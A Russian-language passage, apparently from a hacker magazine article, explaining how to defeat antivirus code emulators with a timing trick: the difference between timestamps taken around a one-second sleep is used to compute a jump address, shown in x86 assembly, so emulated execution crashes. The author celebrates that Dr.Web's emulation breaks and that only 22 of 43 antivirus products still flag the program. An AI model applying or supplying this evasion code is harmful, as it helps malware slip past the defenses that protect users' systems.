Обрати внимание: нас интересуют только значения, соответствующие секундам. Мы заставили программу «спать» ровно 1 секунду, а это значит, что разница между двойными словами, записанными в ячейках [13147d7d+С] и [13147D94+С], не должна быть больше или меньше единицы (в абсолютном большинстве случаев). Этот факт должен помочь нам побороть эмуляторы кода, пропускающие таймеры. Но как использовать полученное значение? Мы посчитаем разницу и используем ее для вычисления адреса перехода. Если эта разница будет посчитана неверно (что означает, что код эмулируется, причем неверно), то выполнение программы полетит ко всем чертям, но это нас не волнует :). Итак, получим приблизительно следующий код:
13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресуНаверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.
Читайте также: